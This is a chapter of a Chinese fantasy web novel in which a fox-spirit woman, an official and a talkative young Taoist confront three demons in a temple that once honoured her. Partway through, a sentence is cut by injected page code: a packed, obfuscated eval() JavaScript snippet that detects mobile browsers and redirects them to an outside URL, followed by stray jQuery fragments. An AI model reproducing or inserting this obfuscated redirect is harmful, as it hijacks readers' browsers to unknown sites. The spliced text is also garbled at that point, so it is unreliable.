孟里正激动的,立刻跪地作揖:
“我们村也背着府衙,偷偷请过一些道士和尚,可他们都变卦不肯来了。方娘子与诸位,真能除了三只妖孽,你们要多少钱,我们村子都愿意去凑。”
小道士忙摆手:“孟老帮我们道观重修,我奉师命而来,要了银子回去师傅要罚我的。”
方慎一个朝廷命官,更不会收老百姓的孝敬钱。
方四娘都走出内堂了,黄白之物在她眼里,与废铜烂铁无异。
离黑天时辰尚早,孟老在前厅设宴,准备了一桌子的美味佳肴。
一砂锅的鸡汤,单独摆在方四娘面前,里面还有一根两指粗的老山参。
马彪:“这可是我寻遍村子买回来的,毛亮肉多年头长的老母鸡,方大人快趁热尝尝。”
“多谢。”方四娘浅笑了下。
“四娘姐,我帮你盛汤。”景毕方一脸殷勤:“瞧瞧这根老山参粗的,难怪被我表姐珍藏一直舍不得用。”
到了小道士这,方四娘接过汤,只低头喝却不理他。
景毕方挠挠头,又要凑过来。
“有话就说,再往我面前凑,把你丢出去。”
“也不是什么大事。”小道士偷瞄着方四娘的脸色:“就是我表姐,她现在怎么样了,要能再见她一面说说话就好了。”
“既然已死,就与阳间再无关系,亲缘皆断,她的事轮不到你操心了。”
方四娘觉得鸡汤很是鲜美,直接将砂锅拿到了面前。
小道士指着砂锅:“那你还吃了我表姐这么多参呢。”
方四娘递到嘴边的汤匙,吧嗒一声,落回到砂锅里了。
“喝吧,喝吧,本来就是我表姐送你的。”
景毕方吓得,缩了缩脖子,很狗腿的把汤匙,往方四娘手里递去。
陪坐在旁的孟老笑了,把管家叫到近前:
“去库房里,将那几株百年人参包好,拿来送给方娘子。”
小道士忙摆手:“您老别瞎忙活了,四娘姐最怕欠人情,沾因果了,你送了她也不会要的。”
方四娘却笑了,明显挺高兴:“那我就却之不恭了。”
“啥,这就收了,那刚刚你为什么不收银子呢。”
方四娘:“人参难得,又对我实在重要,反倒是金银与我无用。”
小道士挠挠头,十分困惑:
“不是啊,四娘姐你看我说得对不对,有了银子不就可以买参了嘛,怎么会没用呢。”
方四娘总算抬头,向着景毕方看过去了,眼神里全是诧异。
景毕方也看着她:“你不会,没想到用银子去买参吧,难怪你帮点忙,就让方大哥用鸡汤孝敬你,原来你过的这么穷啊。”
“闭嘴!”
方四娘的声音,甚至透着咬牙切齿的感觉了。
“哦哦,好的。”小道士捂住嘴,但他想不懂,自己好心提醒怎么还要挨说。
方慎与马彪在旁,强忍着才没笑出声,可嘴角是真的太难压。
孟老一口气,拿出来七根百年人参,方慎想给他银子。
但老人家只说,是给方四娘的谢礼,感激她为村里除妖。
毕竟伸手一指,就能给人变换容貌,这一看就是有真本事,能降妖除魔的高人。
待到天黑了,孟里正带着村里人又来了。
三个抬椅,摆在宅子大门前。
“每次送人过去,都是抬着在前,后面跟着三口棺材,我担心那三个妖怪看出破绽,还是叫我们送上一程吧。”
来抬椅,抬棺材的村里人。
纷纷向着方四娘,方慎,还有小道士跪去。
他们若能降妖,这一跪自然受得。
若是降服不住,只怕三人性命也要丢在庙里头了,更该受他们一拜了。
方慎扶着父老乡亲们起来,马彪也在旁帮忙。
小道士没见过这阵仗,心情激动,眼圈都红了。
“四娘姐,我终于知道自己学道的意义了,就是为了天下苍……诶,人呢。”
扭头一瞧,方四娘哪还在他旁边。
人家都坐上椅子,慵懒的倚在扶手上,被四个村里的小伙子抬起来了。
“我也来了,娘亲,你等等我和爹爹啊。”
小道士顶着张幻化的孩童面容,爹娘叫得可顺口了。
一路抬着他仨到了庙门口,村里人就不敢进去了。
方四娘伸手推开庙门,迈步就往里走。
小道士紧随其后,方慎用布裹着佩剑,就像拿着根短棍,负责断后。
“哎哟。”
小道士连庙都没进去,就被门槛绊了一跤。
“这也太黑了,早知道叫孟大叔留个灯笼好了。”
方四娘嫌弃的声音,从前面传来:“就你最麻烦。”
然后前方传来一声响指,整个三仙庙但凡摆着的烛台,同时被点燃了。
摔倒在地的景毕方,总算能看清了,赶紧爬了起来。
“四娘姐你好厉害啊。”向着自己孩童般的身量看去:“白天里你一指,我就变成小孩儿了,那到了晚上没了阳光,四娘姐你动动手指头,就能灭了这三个妖怪吧。”
方四娘:“不过是用妖气,在你们身上使的障眼法。之前那个臭和尚有点来头,被他伤到我如今只能维持人形,妖术还施展不出。”
小道士立刻笑不出来了:“完了,完了,方大哥全靠你那把剑了。”
不是他想躲清闲,主要是景毕方对于自己,有几斤几两还是有自知之明的。
方四娘已经走近正殿,看向三尊两米高,威风凛凛的黄铜神像,她眼中露出讥笑之色。
“放心,这三只妖怪的来历我知晓,自然知道怎么对付它们。”
“啊!”景毕方一脸震惊:“莫非你与这三只妖怪还是旧相识。”
转念一想,小道士又觉得确实说得通:
“也对,四娘姐是妖,它们也是妖,你们说起来还是同类呢。莫非祖上有亲戚,又或者昔日结拜过,若如此就太好了,能把它们劝走,也省得打架伤了和气嘛。”
方四娘就像看傻子似的,瞟了小道士一眼,觉得同他解释,都是枉费工夫。
“未必。”方慎盯着一面墙壁。
他刚刚查探正殿,墙壁虽然斑驳陈旧,但依稀能看出上面的彩绘壁画。
可见这庙才建成时,应该颇为富丽堂皇,因为他在彩绘上,还看出了金粉描绘留下的痕迹。
以黄金入壁画,皇家寺庙,都少有这般奢侈的。
而壁画上,是一只只如人般的小狐狸,跪在地上,向着画中间叩拜。
墙壁脱落严重,它们在跪拜的是什么,已经看不出来了。
墙壁上端,是祥云还有百鸟飞翔的祥瑞景象,又是一只只像人般盘坐的狐狸,掐诀念咒坐在云端。
方慎心思一动,向着方四娘看去。
“我若没猜错的话,这庙的前身,供奉的是只狐仙。”
“狐仙?”小道士跑到壁画前:“在哪呢,我也瞧瞧。”
小道士一口气,把四面墙壁都看了个遍。
当他在三尊神像后身的墙壁上,看见一只狐首人身,穿黑袍的狐仙的壁画时。
哪怕这壁画,残破得只剩个上半身了。
景毕方还是倒吸一口气,伸手指向了方四娘。
“这里,这里……这这这。”
看他说话这个费劲样,方四娘嫌弃的替他说道:
“不错,这里曾经是供奉我的一处道场。”
然后她又伸手,指向三尊神像里的地龙仙姑,水鳌大王。
“还有这俩,昔日是我坐下听令的跑腿小官儿。”
不承想千年过去,它们也修成大妖,还敢自封为仙祸害一方了。
方四娘以为,她说得这么够清楚了。
小道长总该闭嘴,不会聒噪下去了。
但是在话痨这方面,显然,景毕方从未叫她失望过!
小道士围着正殿绕了一圈,最后绕回到方四娘眼前。
“所以说,四娘姐你的道场,叫你过去的俩跟班给占了不说,它们还推倒了你的神像,把自己的摆上去,你咋看着不生气呢,这也太惨了吧。”
“毕方,你少说两句。”
方慎皱眉,要把小道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672046|143174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
士赶紧带走。
方四娘对那俩妖怪,生不生气,确实看不出来。
但方慎瞧得清楚,方四娘对小道士望去的眼神,都带着杀气了。
“方大哥你拉我做什么,你快帮我一起劝劝四娘姐啊,凡事要想开点,谁叫现在你伤了,技不如妖呢……呜呜……呜呜呜。”
方四娘一挥手,景毕方除了呜呜声,啥都说不出来了。
“闭嘴,它们来了。”
大殿外的院子里,刮起一阵狂风,飞沙走石,乌云蔽月。
“我说什么来着,有人味儿,这不大殿里站着三个呢。”
憨声憨气的动静传来,一个身材魁梧的男子穿着殷红的道袍,从狂风里走出来。
他相貌粗犷,与水鳌大王的神像面容一样,而他的手腕之下,长着的不是手,而是一双虾钳。
“还是师兄鼻子灵,不过明日才是送来祭品的正日子,怎么村里今天就把人送来了。”
紧随水鳌大王之后,往殿里走的是个妇人,应该就是地龙仙姑了。
她倒是容貌姣好,手脚不缺,但左右肩膀上,却多长出一双肉钳来,像手一样灵活,还不时的摆弄着肩上的青丝。
小道士吓坏了,明明说不了话,还用一手捂着嘴。
一手扯着方四娘的衣角,往她后头躲。
方四娘嫌弃的扯了两下,愣是没把衣服拽回来。
俩妖怪已经进了大殿,她立刻拍了拍小道士的头。
“乖儿子,莫怕,娘在这里呢。”
地龙仙姑,掩嘴娇笑道:“我说妹子你在又有何用,我那煌火小儿,最喜吃孩子的心肝了。不过你也别怕,待我吸了你的精气,你们娘俩就可以去阴间团圆了。”
方慎四下看了几眼:“怎只有你二位,煌火童子为何没来。”
水鳌惊咦出声:“你小子行啊,以前孝敬来的,不是跪那哭求,吵得老子头疼。就是吓得淋湿一地熏得我想吐,你们一家三口,除了这小孩抖得像筛糠,夫妻俩胆子够用。”
这妖怪,还竖起了大拇哥:“行,你是条汉子。”
“那一会本大王,就不卸你胳膊腿了,一钳子掐掉你的头,给你来个痛快的。”
否则按他的喜好,先卸胳膊,再卸腿。
人必须吃到最后剩个脑袋才断气,否则死透了,肉味就不鲜美了。
“把那个煌火童子叫来。”方四娘扯着小道士,故意将他往前一推:“我这儿子吵了一路,要与童子玩呢,闹得我头疼。”
三个妖怪都来了,才好一起收拾了。
地龙仙姑冲着殿外喊道:“我的儿,快来啊,有个小娃娃要陪你玩闹呢。”
大殿上方的屋顶,瓦片传来一阵响动。
“是谁要找我玩。”稚嫩的孩童声传来。
就见一个披头散发的小儿头,从屋檐上,倒挂着垂下来。
小道士口不能言,只能呜呜呜的摇头。
他依旧背着自己的小布兜,手已经伸进去,开始四下划拉了。
煌火童子发出咯咯咯的笑声,从屋檐上一跃而下。
方四娘三人,这才将他的全貌看清楚。
这童子倒是没少手脚,也没多了手脚,就是长得位置不大对劲。
双臂是从胸腔伸出来的,双腿又挂在小腹两侧。
而他是面朝下,整个躺着,由胳膊腿撑着,跳着往大殿内蹦进来的。
“就这,也敢自封为仙。”
方四娘看得都笑了,连幻化成个正经人样都办不到,只能说太不成气候了。
“你说什么!”
越没啥,就越在意啥。
煌火童子,瞪着双猩红的眼珠子,就向着方四娘看去。
方四娘冷眼瞧着他:“不乐意听,就杀了我儿子泄愤吧,我就在这看着。”
水鳌大王,还有地龙仙姑,面面相觑。
莫名的,看着面前这个村姑,有种似曾相识的感觉呢。
“好,那我就成全你!”
煌火童子嘴里一阵蠕动,竟伸出两颗獠牙。
“我就叫你亲眼看着,你儿子是怎么被开膛破肚,摘心取肝的。”